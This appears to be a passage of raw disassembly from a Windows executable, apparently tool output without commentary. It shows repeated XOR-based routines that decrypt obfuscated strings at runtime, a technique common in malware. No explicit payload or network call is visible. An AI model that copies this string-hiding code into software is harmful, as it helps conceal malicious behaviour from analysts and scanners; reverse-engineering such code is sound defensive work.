xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r8d, reloc.WS2_32.dll_sendto
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140021680
mov rdx, r10
lea rcx, [rbp + 0x2418]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x2438]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x23f8]
call fcn.140039e30
mov rdi, rax
lea rax, [rbp + 0x2458]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5540]
lea rcx, [rbp - 0x15]
call fcn.14002f0b0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140021850
mov r8d, esi
cmp r14d, 2
jl 0x14002181b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140021730
cmp r8d, 0x21
jge 0x140021850
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140021821
mov rdx, r10
lea rcx, [rbp + 0x2478]
call fcn.140033e80
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2458]
call fcn.140039e30
mov rbx, rax
lea rdx, [rbp + 0x5978]
lea rcx, [rbp - 0x14]
call fcn.14002e9e0
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x1400219d0
mov r8d, esi
cmp r14d, 2
jl 0x14002199b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400218b0
cmp r8d, 0x27
jge 0x1400219d0
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x1400219a1
mov rdx, r10
lea rcx, [rbp + 0x24b8]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x24d8]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2498]
call fcn.140039e30
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x24d8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x24b8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2478]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2438]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2418]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x23d8]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x23b8]
call fcn.140007bc0
lea rax, [rbp + 0x5c8]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6228]
lea rcx, [rbp + 0x5c8]
call fcn.140033630
mov r12, rax
lea rdx, [rbp + 0x5ac8]
lea rcx, [rbp - 0x13]
call fcn.14002f1b0
mov r10, rax
cmp word [rax + 0x28], 0
je 0x140021d13
mov r8d, esi
cmp r14d, 2
jl 0x140021ccf
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x140021ce0
mov rdx, r10
lea rcx, [rbp + 0x24f8]
call fcn.140033a40
nop
mov r8, rax
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x2518]
call fcn.140039dc0
nop
mov rcx, rax
call fcn.1400338c0
mov r15, rax
lea rax, [rbp + 0x2538]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x220]
lea rcx, [rbp - 0x12]
call fcn.14002f180
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x140021fbf
mov r8d, esi
cmp r14d, 2
jl 0x140021f7d
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r8d, reloc.WS2_32.dll_sendto
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140021f90
mov rdx, r10
lea rcx, [rbp + 0x2558]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x2578]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2538]
call fcn.140039e30
mov rdi, rax
lea rax, [rbp + 0x2598]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x5518]
lea rcx, [rbp - 0x11]
call fcn.14002f150
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140022160
mov r8d, esi
cmp r14d, 2
jl 0x14002212b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140022040
cmp r8d, 0x21
jge 0x140022160
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140022131
mov rdx, r10
lea rcx, [rbp + 0x25b8]
call fcn.140033e80
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2598]
call fcn.140039e30
mov rbx, rax
lea rdx, [rbp + 0x58d8]
lea rcx, [rbp - 0x10]
call fcn.14002e9e0
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x1400222e0
mov r8d, esi
cmp r14d, 2
jl 0x1400222ab
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400221c0
cmp r8d, 0x27
jge 0x1400222e0
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x1400222b1
mov rdx, r10
lea rcx, [rbp + 0x25f8]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2618]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x25d8]
call fcn.140039e30
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2618]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x25f8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x25b8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2578]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2558]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2518]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x24f8]
call fcn.140007bc0
lea rax, [rbp + 0x5e0]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6228]
lea rcx, [rbp + 0x5e0]
call fcn.140033630
mov r12, rax
lea rdx, [rbp + 0x5b28]
lea rcx, [rbp - 0xf]
call fcn.14002f250
mov r10, rax
cmp word [rax + 0x2a], 0
je 0x140022623
mov r8d, esi
cmp r14d, 2
jl 0x1400225df
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm15
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x16
jl 0x1400225f0
mov rdx, r10
lea rcx, [rbp + 0x2638]
call fcn.140033a40
nop
mov r8, rax
lea rdx, [rbp + 0x67e8]
lea rcx, [rbp + 0x2658]
call fcn.140039dc0
nop
mov rcx, rax
call fcn.1400338c0
mov r15, rax
lea rax, [rbp + 0x2678]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp - 0xe]
call fcn.14002f220
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x1400228cf
mov r8d, esi
cmp r14d, 2
jl 0x14002288d
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
